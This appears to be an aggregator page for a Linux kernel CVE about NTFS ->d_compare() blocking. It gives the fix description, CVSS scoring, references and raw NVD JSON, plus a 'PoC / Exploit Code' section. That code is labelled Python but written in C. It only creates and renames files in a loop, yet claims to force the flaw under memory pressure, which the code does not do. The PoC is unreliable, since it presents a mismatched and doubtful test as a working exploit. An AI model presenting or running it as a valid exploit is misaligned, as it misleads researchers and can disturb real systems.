CVE-2026-43245

Description

In the Linux kernel, the following vulnerability has been resolved: ntfs: ->d_compare() must not block ... so don't use __getname() there. Switch it (and ntfs_d_hash(), while we are at it) to kmalloc(PATH_MAX, GFP_NOWAIT). Yes, ntfs_d_hash() almost certainly can do with smaller allocations, but let ntfs folks deal with that - keep the allocation size as-is for now. Stop abusing names_cachep in ntfs, period - various uses of that thing in there have nothing to do with pathnames; just use k[mz]alloc() and be done with that. For now let's keep sizes as-in, but AFAICS none of the users actually want PATH_MAX.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.x (具体版本请参考Git提交记录 142c444a395f4d26055c8a4473e228bb86283f1e)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

/*
 * PoC for CVE-2026-43245: NTFS d_compare() blocking issue
 * This script attempts to trigger the vulnerability by creating
 * and renaming files on a mounted NTFS filesystem, forcing
 * the kernel to call d_compare() under potential memory pressure.
 */

int main() {
    const char* base_dir = "/mnt/ntfs_test"; // Ensure this is mounted NTFS
    char old_name[256];
    char new_name[256];
    
    mkdir(base_dir, 0777);

    printf("Starting PoC for CVE-2026-43245...\n");

    for (int i = 0; i < 5000; i++) {
        snprintf(old_name, sizeof(old_name), "%s/file_%d.dat", base_dir, i);
        snprintf(new_name, sizeof(new_name), "%s/renamed_%d.dat", base_dir, i);

        FILE *f = fopen(old_name, "w");
        if (f) {
            fputs("data", f);
            fclose(f);
            
            // Rename operation triggers d_compare lookup
            if (rename(old_name, new_name) != 0) {
                perror("Rename failed");
            }
        }
    }
    
    printf("PoC execution finished. Check system stability.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43245
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43245
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43245/
[4] VulDB https://vuldb.com/cve/CVE-2026-43245
[5] https://git.kernel.org/stable/c/142c444a395f4d26055c8a4473e228bb86283f1e
[6] https://git.kernel.org/stable/c/ca2a04e84af79596e5cd9cfe697d5122ec39c8ce
[7] https://git.kernel.org/stable/c/fb4b1f969ba01fa1d4088467a02fc1e5f0806710

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43245", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:44.997", "lastModified": "2026-05-11T13:34:25.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nntfs: ->d_compare() must not block\n\n... so don't use __getname() there. Switch it (and ntfs_d_hash(), while\nwe are at it) to kmalloc(PATH_MAX, GFP_NOWAIT). Yes, ntfs_d_hash()\nalmost certainly can do with smaller allocations, but let ntfs folks\ndeal with that - keep the allocation size as-is for now.\n\nStop abusing names_cachep in ntfs, period - various uses of that thing\nin there have nothing to do with pathnames; just use k[mz]alloc() and\nbe done with that. For now let's keep sizes as-in, but AFAICS none of\nthe users actually want PATH_MAX."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.18.16", "matchCriteriaId": "40E6DAD9-881B-4BD4-B3F0-5D58086379A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/142c444a395f4d26055c8a4473e228bb86283f1e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ca2a04e84af79596e5cd9cfe697d5122ec39c8ce", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fb4b1f969ba01fa1d4088467a02fc1e5f0806710", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}